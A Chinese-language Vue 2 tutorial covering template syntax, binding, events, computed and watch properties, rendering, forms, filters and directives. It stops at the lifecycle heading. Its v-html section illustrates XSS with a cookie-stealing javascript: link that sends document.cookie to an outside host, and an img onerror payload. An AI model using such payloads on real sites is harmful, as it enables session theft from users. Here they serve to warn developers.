Vue简介
Vue是一个可以动态构建用户界面的渐进式前端框架,在设计上参考了MVVM模式,代码简洁体积小,运行效率快,适合移动/PC端开发,作者是尤雨溪。
Vue中文官网 Vue借鉴了Angular的模板和数据绑定技术,借鉴了React的组件化和虚拟DOM技术。
Vue还有一些周边库:Vue-cli、Vue-resource、Vue-router等。
初识Vue
要想使用Vue,最简单的方式是直接用script标签引入Vue.js,可以通过cdn引入,也可以通过本地引入。
要想让Vue工作起来,就需要有一个Vue实例,Vue实例的初始化接受一个对象参数。一个Vue对象要和一个容器模板关联起来,通常采用id进行关联,Vue实例和容器是一一对应的,不能出现一对多和多对一的情况,容器内的代码符合HTML规范。
准备一个容器:
<div id="root">
<h1>Hello, My name is {{name}}, I come from {{address}}.</h1>
</div>
创建Vue实例:
Vue.config.productionTips=false;// 阻止Vue在启动时输出生产提示
new Vue({
el:'#root',// element的意思,用于指定Vue和哪个容器绑定
data:{// 提供给el容器所需要的数据,经过Vue渲染,数据就可以填充上去了
name:'王劭阳',
address:'山东济南'
}
});
模板语法
这里介绍两种语法:插值语法、指令语法。
插值语法:用两对花括号将变量包裹起来,经过Vue渲染后,变量处的值会自动填充上,用于解析标签体内容。
指令语法:用于解析标签(比如:标签属性、标签体内容、绑定事件等),比如v-bind:
就是指令语法。
<div id="root">
<h1>插值语法</h1>
<h2>{{name}}</h2>
<hr/>
<h1>指令语法</h1>
<a v-bind:href="url">点击跳转</a>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
url:'https://www.baidu.com'
}
});
插值语法和指令语法各有各的应用场景,不能混用,一个应用在标签体内,一个应用在标签体上。经过Vue的渲染,这里的name和url都是js变量,不再是普通的字符串了,当然,这里也可以写js表达式,因为js表达式是有值的。
关于指令语法,这里只介绍了v-bind:
,其实Vue的指令还有许多,都是以v-
开头的形式。当然,你可以自定义属性名,然后使用v-bind:
前缀,但要保证后面的变量在data里能找到才行。v-bind:
可以简写为:
。
数据绑定
为了方便测试,需要在浏览器端安装Vue插件,去谷歌应用市场安装上就行,搞不了的就本地安装。安装之后,在开发者工具里就可以看到Vue Devtools了,如果看不到,给插件开放“可读取和更改网站数据”的权限,再把浏览器重启一下,就可以了。
数据绑定分为单向绑定和双向绑定。
单向数据绑定v-bind:
:数据只能从data流向页面,反之不行。
双向数据绑定v-model:
:数据可以从data流向页面,也可以由页面流向data。
<div id="root">
<!--这里的v-bind:就用:的简写形式-->
单向数据绑定:<input type="text" :value="name"><br/>
双向数据绑定:<input type="text" v-model="name"><br/>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳'
}
});
打开浏览器的Vue插件,直接修改Vue插件中data的值,可以看到input
框中的值也跟着变了,也就是data流向页面。修改单向数据绑定中input的值,Vue插件中data的值并没有发生变化,这就是单向数据绑定的意思,数据只能由data流向页面,反之不行。
再来修改双向数据绑定input
的值,可以发现,Vue插件中data的值也跟着变了,这就是页面流向data,由data流向页面,我们刚才已经验证过了,这就是双向数据绑定。
需要注意的是,双向数据绑定只在输入类元素上有效,假设一个span
标签,如果给它一个v-model:
,它都没有输入的地方,就无从谈起数据从页面流向data了。
el与data的两种写法
el是element的意思,在Vue对象和模板绑定时候使用。
之前我们见到的data是对象式的,还有函数式的,也就是data的值是通过一个函数的返回值确定的
const vm = new Vue({
// el:'#root',// el的第一种写法
data:{// data的第一种写法:对象式
name:'尚硅谷'
}
});
vm.$mount('#root');// el的第二种写法,mount是挂载的含义
new Vue({
el:'#root',
data() {// data的第二种写法:函数式
console.log(this);// 这里的this是Vue实例对象
return {
name:'王劭阳'
};
}
});
MVVM模型
M:模型:对应data中的数据
V:视图:对应模板代码
VM:视图模型:Vue实例
数据通过Vue和模板进行绑定,再由Vue把数据填充到模板上,页面上的变化,通过Vue监听,从而影响数据的变化。
data里的数据,通过Vue渲染后,都会在Vue对象的属性里,Vue对象的属性和Vue原型的属性,在Vue模板里都可以直接使用。
数据代理
介绍一下Object.defineProperty()
方法,可以通过这个方法给对象添加属性。
let number = 18;
let person = {
name:'张三',
sex:'男',
};
Object.defineProperty(person,'age',{
// value:18,
// enumerable:true,// 控制属性是否可以枚举,默认值是false
// writable:true,// 控制属性是否可以被修改,默认值是false
// configurable:true// 控制属性是否可以被删除,默认值是false
// 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get(){
console.log('有人读取age属性了');
return number;
},
//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set(value){
console.log('有人修改了age属性,且值是',value);
number = value;
}
});
数据代理:通过一个对象代理另一个对象中属性的操作。
现在有obj1和obj2两个对象,obj1={x:1},obj2={y:2},现在需要让obj2代理obj1,实现通过obj2来操作obj1的效果。
let obj1 = {x:100};
let obj2 = {y:200};
Object.defineProperty(obj2,'x',{
get(){
return obj1.x;
},
set(value){
obj1.x = value;
}
});
通过defineProperty()
方法,我们给obj2添加了一个属性,这个属性的get和set方法都作用于obj1上。
在Vue中,普遍存在数据代理,我们在data上写的数据,最后Vue对象都能取到,所以说,Vue通过数据代理将data中的数据添到Vue对象的属性上,这样更方便操作数据了。
事件处理
事件处理,需要用到一个Vue指令v-on:
,可以简写为@
。既然是事件,就要有对应的处理方法,我们需要将自定义的方法也写在Vue体内,写在methods里。
<div id="root">
<h2>我是{{name}}</h2>
<!-- <button v-on:click="showInfo">点我提示信息</button> -->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2($event,666)">点我提示信息2(传参)</button>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
},
methods:{
showInfo1(event){
// console.log(this);// 此处的this是Vue对象
alert('hello world')
},
showInfo2(event,number){
console.log(event,number);
// console.log(this)// 此处的this是Vue对象
alert('Hello World')
}
}
});
methods里的函数不要使用箭头函数,如果使用的箭头函数,方法体的this就是Window,而非Vue了,在方法体内使用data的值,就取不到了。方法可以带(),也可以不带(),带()可以传递参数,$event是指当前触发的事件,$event.target是指触发的元素。
Vue有6个事件修饰符:
- prevent:阻止默认事件:
event.preventDefault()
- stop:阻止事件冒泡:
event.stopPropagation()
- once:只触发一次
- capture:使用事件的捕获模式
- self:只有event.target是当前操作元素时才触发事件
- passive:立刻执行默认行为,不等待回调方法执行完毕
<div id="root">
<h2>我是{{name}}</h2>
<!-- 阻止默认事件(常用) -->
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
<!-- 修饰符可以连续写 -->
<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
</div>
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>
<!-- 使用事件的捕获模式 -->
<!-- 一个事件的触发,会经历捕获、冒泡两个阶段,捕获是从外向内,冒泡是从内向外,默认情况下,冒泡阶段才会调用事件 -->
<!-- 不使用.capture的时候,先输出2,后输出1 -->
<!-- 使用.capture的时候,先输出1,后输出2,也就是在事件捕获阶段,就开始执行showMsg()方法了 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!-- 只有event.target是当前操作的元素时才触发事件,当点击button的时候,不会触发div的showInfo()方法 -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<!-- 添加.passive后,wheel的默认行为会立刻执行,不会等待demo()执行完毕才执行,可以提升移动端的性能 -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳'
},
methods:{
showInfo(e){
alert('Hello World');
// console.log(e.target)
},
showMsg(msg){
console.log(msg);
},
demo(){
for (let i = 0; i < 10000; i++) {
console.log('#');
}
console.log('累坏了');
}
}
});
事件修饰符可以组合使用,根据需要进行搭配即可。
除了鼠标事件,还有键盘事件,常用的是keyup
和keydown
。
<div id="root">
<h2>我是{{name}}</h2>
<input type="text" placeholder="按下回车提示输入" @keydown="showInfo">
<!-- 这样就不需要在showInfo()方法里判断是Enter键了 -->
<!-- <input type="text" placeholder="按下回车提示输入" @keydown.Enter="showInfo"> -->
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳'
},
methods: {
showInfo(e){
console.log(e.key);// 输出按键的名称
if (e.keyCode === 13) {// 只有是回车的时候才输出value
console.log(e.target.value);
}
}
}
});
除了在showInfo()
方法里根据keyCode进行判断,还可以在keyup
或keydown
后面连续跟上key的名称来实现,key的名称可以通过e.key
获取到,比如:Control
、Enter
、Alt
等,但是这里需要注意,使用key的时候要使用kebab-case方式,比如:CapsLock
要换成caps-lock才行。
在使用Ctrl
、Alt
、Shift
、Window
这些系统修饰键的时候,需要使用keyup事件,按下修饰键的同时,再按下其他键,随后释放其他键,事件才会触发。
计算属性
需求:有两个input
和一个span
,span
里显示两个input
里的内容,用“-”拼接起来。
插值:
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{firstName}}-{{lastName}}</span>
</div>
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
}
});
methods返回值
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName()}}</span>
</div>
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
methods: {
fullName(){
return this.firstName + '-' + this.lastName;
}
},
});
计算属性
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
</div>
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{
// 如果fullName只有get方法,可以简写,类似于method返回值形式了,fullName()是简写写法
fullName(){
return this.firstName + '-' + this.lastName;
}
// 完整写法
fullName:{
// 读取fullName时,get就会被调用,且返回值就作为fullName的值
// get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时
get(){
console.log('get被调用了');
return this.firstName + '-' + this.lastName;
},
// set什么时候调用?当fullName被修改时
set(value){
console.log('set',value);
const arr = value.split('-');
this.firstName = arr[0];
this.lastName = arr[1];
}
}
}
});
监视属性
需求:通过一个button
来实现变量状态的切换。
计算属性
<div id="root">
<h2>今天天气很{{info}}</h2>
<!-- <button @click="isHot = !isHot">切换天气</button> -->
<button @click="changeWeather">切换天气</button>
</div>
new Vue({
el:'#root',
data:{
isHot:true,
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽';
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot;
}
},
});
监视属性
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
<h3>b的值是:{{numbers.a.b}}</h3>
<button @click="numbers.a.b++">点我让b+1</button>
</div>
const vm = new Vue({
el:'#root',
data:{
isHot:true,
numbers:{
a:{
b:1
}
}
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽';
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot;
}
},
/* watch:{
isHot:{
immediate:true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
},
'numbers.a.b':{
handler(){
console.log('numbers改变了');
}
}
} */
// 简写
/* isHot(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this);
} */
});
vm.$watch('isHot',{
immediate:true,// 初始化时调用一下handler()
// 当isHot发生改变时,handler()被调用
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
});
vm.$watch('numbers',{
deep:true,// 是否被检测多级结构的变化,默认是false,出于性能考虑
// 当numbers发生改变时,handler()被调用
handler(newValue,oldValue){
console.log('numbers改变了');
}
});
// 简写
/* vm.$watch('isHot',(newValue,oldValue)=>{
console.log('isHot被修改了',newValue,oldValue,this);
}); */
关于computed和watch的区别:
- computed能完成的功能,watch也可以完成
- watch完成的功能,computed不一定能完成,比如watch的异步回调
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
</div>
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
fullName:'张-三'
},
watch:{
firstName(val){
// 延迟一秒再修改fullName
setTimeout(()=>{
console.log(this);
this.fullName = val + '-' + this.lastName;
},1000);
},
lastName(val){
this.fullName = this.firstName + '-' + val;
}
}
});
说到这里,不得不提的一句:
- 被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象
- 不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm或组件实例对象
这里说一下js里,箭头函数和普通函数的区别:在箭头函数中,是没有绑定自己的this的,箭头函数中使用this,会沿着作用域链向上寻找,找到最近的一个this拿来使用。
class和style的绑定
通常在写style的时候,是根据class进行绑定的,要想实现动态class,就需要将class归到Vue的管理范围,这里就要介绍:class
了。style也可以绑定到Vue的管理范围内,使用:style
。
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
mood:'normal',
classArr:['atguigu1','atguigu2','atguigu3'],
classObj:{
atguigu1:true,// true表示应用atguigu1的样式
atguigu2:false,// false表示不应用atguigu2的样式
},
styleObj:{
fontSize: '40px',
color:'red',
},
styleArr:[
{
fontSize: '40px',
color:'blue',
},
{
backgroundColor:'gray'
}
]
},
methods: {
changeMood(){
const arr = ['happy','sad','normal'];
const index = Math.floor(Math.random()*3);
this.mood = arr[index];
}
},
});
就是将具体的属性值,写到Vue的data对象里,然后在模板里里通过Vue的:
语法完成绑定关系,当动态修改Vue对象的时候,样式也就跟着变化了。
条件渲染
style="display:none"
这个样式,在Vue里可以使用v-show
命令来代替。
Java代码里有if
,else if
,else
,这在Vue里也有,用法也是类似的。
<div id="root">
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1 === 1">欢迎来到{{name}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<div v-if="n === 1">第一行</div>
<div v-else-if="n === 2">第二行</div>
<div v-else-if="n === 3">第三行</div>
<div v-else>第四行</div>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
n:0
}
});
v-if
适用于切换少的场景,因为v-if
实际是对DOM的增减,v-show
适用于切换多的场景,因为v-show
实际是对DOM的样式的修改。正是因为这样,使用v-if
可能获取不到元素,因为DOM都没了,而v-show
就不会存在这个现象。
连续的v-if
,v-else-if
,v-else
之间的结构不能被打断,打断后会提示找不到匹配的v-if
。
这里还介绍到了template
标签,template
标签,在Vue渲染之后,是不存在的,可以在template
标签上,配合v-if
使用,这样可以在不修改页面DOM结构的情况下,实现条件渲染。
<template v-if="n === 1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
列表渲染
列表渲染需要用到一个Vue的命令:v-for
,可以用来遍历数组,对象,字符串,1-n的数字,注意形参中key和value的位置。
<div id="root">
<!--遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
car:{
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello'
}
});
和jQuery里的$.each
很像,将需要v-for
写在需要循环的元素上。
使用v-for
的时候,需要注意的一点是::key
,如果没有显式指定key,那么Vue会默认提供一个从0递增的key。
key是虚拟DOM的标识,数据发生变化的时候,Vue会生成新的虚拟DOM,虚拟DOM到实际DOM的转化过程中,会根据key来对比变化前后的虚拟DOM。
如果新旧虚拟DOM的key相同,查看新旧虚拟DOM内容是否变化,如果没有变化,使用之前的真实DOM,否则生成新的真实DOM。
如果新旧虚拟DOM的key不同,创建新的真实DOM,渲染到页面。
使用index作为默认key可能引起的问题:对数据进行破坏原有顺序的操作时,会产生不必要的真实DOM更新,如果结构中包含输入类DOM,会引起页面的错乱。
所以,在选择key的时候,要使用一个唯一的标识作为key。
一个会引起问题的例子,页面展示后,在3个input
里先输入内容,再点击按钮。
<div id="root">
<h2>人员列表(遍历数组)</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
]
},
methods: {
add(){
const p = {id:'004',name:'老刘',age:40};
this.persons.unshift(p);
}
},
});
对列表的过滤、排序,就是对一些js进行操作,不过需要操作的内容必须在Vue的管理范围下才行,这样,修改后的数据才能回显并更新。
引入一个更新的问题,由此来引出Vue的监测机制。
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">更新马冬梅的信息</button>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
const vm = new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:18,sex:'男'},
{id:'004',name:'温兆伦',age:19,sex:'男'}
]
},
methods: {
updateMei(){
// this.persons[0].name = '马老师';// 奏效
// this.persons[0].age = 50; // 奏效
// this.persons[0].sex = '男'; // 奏效
this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'};// 不奏效
// this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});// 奏效
}
}
});
模拟Vue的数据检测,是通过定义一个Observer()
方法,接收一个对象,在方法体里遍历对象的所有属性,通过Object.defineProperty()
方法给每个属性添加上get/set
方法。有了get/set
方法,就实现了对属性的检测。
//创建一个监视的实例对象,用于监视data中属性的变化
const obs = new Observer(data);
console.log(obs);
// 准备一个vm实例对象
let vm = {};
vm._data = data = obs;
function Observer(obj){
// 汇总对象中所有的属性形成一个数组
const keys = Object.keys(obj);
// 遍历
keys.forEach((k)=>{
Object.defineProperty(this,k,{
get(){
return obj[k];
},
set(val){
console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`);
obj[k] = val;
}
});
});
}
通过控制台查看vm_data,可以知道,类似name:(...)
这种而且有响应式的get/set
方法的,都可以实现响应式。
再看上面的问题:为什么this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'};
不奏效呢?因为没有persons[0]对应的响应式get/set
,所以不能实现响应式。
如何对数组实现响应式的更新呢?查看Vue官网中关于数组更新检测的内容,可以发现,Vue会把如下方法进行封装,除了完成本身的功能,还会触发视图的更新,所以说,上面的this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});
是奏效的。
- push()
- pop()
- shift()
- unshift()
- splice()
- sort()
- reverse()
再考虑,为什么this.persons[0].name = '马老师';
也是奏效的呢?我们点进persons[0]的name,就可以看到它有响应式的get/set
方法,所以它的改变可以立刻在前端更新。
下面介绍一个set语法,可以将属性添加到Vue实例中,而且属性是响应式的。
<div id="root">
<h2>名称:{{person.name}}</h2>
<h2>地址:{{person.address}}</h2>
<hr/>
<h1>学生信息</h1>
<button @click="addSex">添加一个性别属性,默认值是男</button>
<h2>姓名:{{student.name}}</h2>
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>朋友们</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
const vm = new Vue({
el:'#root',
data:{
person:{
name:'王劭阳',
address:'山东济南',
},
student:{
name:'tom',
friends:[
{name:'jerry',age:35},
{name:'tony',age:36}
]
}
},
methods: {
addSex(){
// Vue.set(this.student,'sex','男');
this.$set(this.student,'sex','男');
}
}
});
Vue会检测data中的所有数据,通过set
方法实现监视,如果后期需要追加响应式的属性,需要使用Vue.set(target,propertyName/index,value)
或vm.$set(target,propertyName/index,value)
方法,有一点需要注意,set
方法不能给vm根路径或data的根路径添加属性。
如果想要检测数组中数据,可以通过Vue提供的那7个方法来实现。
收集表单数据
对于<input type="text"/>
,v-model
收集的是value数据。
对于<input type="radio"/>
,v-model
收集的是value数据,需要给单选的input
指定value值。
对于<input type="checkbox"/>
,如果没有配置value,则收集到的是布尔值。
如果input本身是非数组形式,收集到的数据就是checked的属性,也就是布尔值。
如果input本身是数组形式,收集到的数据是value组成的数组,而且在Vue中指定初始值的时候,要指定为数组的形式。v-model:
还有3个属性:
- lazy:失去焦点的时候收集数据,而不是实时收集,比如textarea标签可以使用
- number:输入的字符串转换为数字
- trim:对输入内容做
trim()
操作
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo));
}
}
});
过滤器
Vue的过滤器可以对数据进行简单的格式化操作。
注册过滤器:Vue.filter(name, callback)
或new Vue{filters:{}}
。需要注意的是Vue.filter(name, callback)
要写在new Vue()
之前,这种是全局过滤器,不管哪个Vue绑定的模板,都可以使用这个过滤器,而new Vue{filters:{}}
是局部过滤器,只能应用于当前Vue实例绑定的模板上。
过滤器不会改变原有的数据,是在原数据基础上生成新的数据并展示,而且过滤器可以串联使用。
<script type="text/javascript" src="../js/dayjs.min.js"></script>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器实现(传参) -->
<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
//全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4);
});
new Vue({
el:'#root',
data:{
time:1621561377603, // 时间戳
msg:'你好,尚硅谷'
},
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
}
},
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
}
},
//局部过滤器
filters:{
timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
// console.log('@',value);
return dayjs(value).format(str);
}
}
});
new Vue({
el:'#root2',
data:{
msg:'hello,atguigu!'
}
});
内置指令
先回顾一下之前接触到的指令:v-bind:
:单向绑定解析表达式,简写为:
v-model:
:双向数据绑定v-for
:遍历数组、对象、字符串v-on:
:绑定监听事件,简写为@
v-if
:条件渲染v-else
:条件渲染v-show
:条件渲染
v-text
v-text
指令可以向所在结点内部填充文本内容,与插值语法类似,但是不及插值语法灵活,当结点内有数据的时候,直接就覆盖了,而且不灵活,所以推荐使用差值语法。填充数据的时候,填充纯文本,不会解析,即使填充的是html元素,也会显示为纯文本,不会解析成DOM元素。
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name">这里的内容会被覆盖</div>
<div v-text="str"></div>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
str:'<h3>HTML元素会被当做纯文本展示,不会解析</h3>'
}
});
v-html
v-html
会覆盖结点中的内容,和v-text
不同的是,v-html
可以识别并接卸DOM元素,这导致v-html
有安全性问题,比如XSS注入,另外,永远不要在用户提交的内容上使用v-html
。
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str1"></div>
<div v-html="str2"></div>
<div v-html="str3"></div>
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
str1:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
str3:'<img src="不存在的图片.png" οnerrοr="alert(1)"/>'
}
});
v-cloak
在模板没有渲染之前,比如网速不佳,为了不让插值语法显示出来,可以通过v-cloak
指令结合CSS来隐藏,也就是阻塞住,等Vue.js获取到之后再做渲染。Vue实例创建完毕接管模板,会删掉v-cloak属性。
[v-cloak]{
display:none;
}
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
new Vue({
el:'#root',
data:{
name:'王劭阳'
}
});
v-once
使用了v-once
指令的标签,就视为静态内容了,后续数据的变化,不会引起结构的更新,用于性能优化。
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
new Vue({
el:'#root',
data:{
n:1
}
});
v-pre
使用v-pre
指令的元素表示,不需要Vue对结点进行编译,通常没有Vue语法的普通标签,可以使用v-pre
指令加快编译。
<div id="root">
<h2 v-pre>这一行不会被编译</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
new Vue({
el:'#root',
data:{
n:1
}
});
自定义指令
自定义指令分为函数式和对象式,和过滤器类似,也支持全局自定义指令和局部自定义指令。
// 局部指令
new Vue({
directives:{指令名:配置对象}
});
new Vue({
directives:{指令名:回调函数}
});
// 全局指令,需要写在new Vue({});之前
Vue.directive(指令名, 配置对象);
Vue.directive(指令名, 回调函数);
这里定义两个自定义指令:v-big-number
和v-fbind
。在定义指令的时候,不需要加v-
,在使用指令的时候,需要带上v-
,如果指令名是多个单词,需要使用kebab-case命名方式,不要使用camelCase,对于多个单词的指令定义,因为有-
符号,所以需要带上引号才行。v-big-number
:将n扩大10倍。v-fbind
:进入页面的时候,让焦点默认在input
上面。
对于第一个,比较容易实现,第二个牵扯到一个模板渲染时机问题,需要用其他写法来完成。
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
new Vue({
el:'#root',
data:{
name:'王劭阳',
n:1
},
directives:{
// big-number函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
'big-number'(element,binding){
// element是v-big-number修饰的DOM元素
// binding是一个对象,binding.value就是v-big-number上的值
console.log(element,binding);
console.log('big',this);// 注意此处的this是window
element.innerText = binding.value * 10;
},
fbind:{
// 指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus();
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value;
}
}
}
});
v-big-number
指令通过binding参数获取到value,按照需求将它放大10被再填充到element中。v-fbind
指令的实现,不能写成一个函数,因为fbind()
函数触发的时候,只完成了v-bind
指令和元素的绑定,但是此时,真实的input
元素还没有渲染到页面上,使用element.focus()
是无效的,因为element的DOM结构还没形成。这里使用对象式来写,对象里的方法名是固定的,改变后,就不能被Vue触发了,它们在合适的时机被Vue触发,完成一些功能。
生命周期
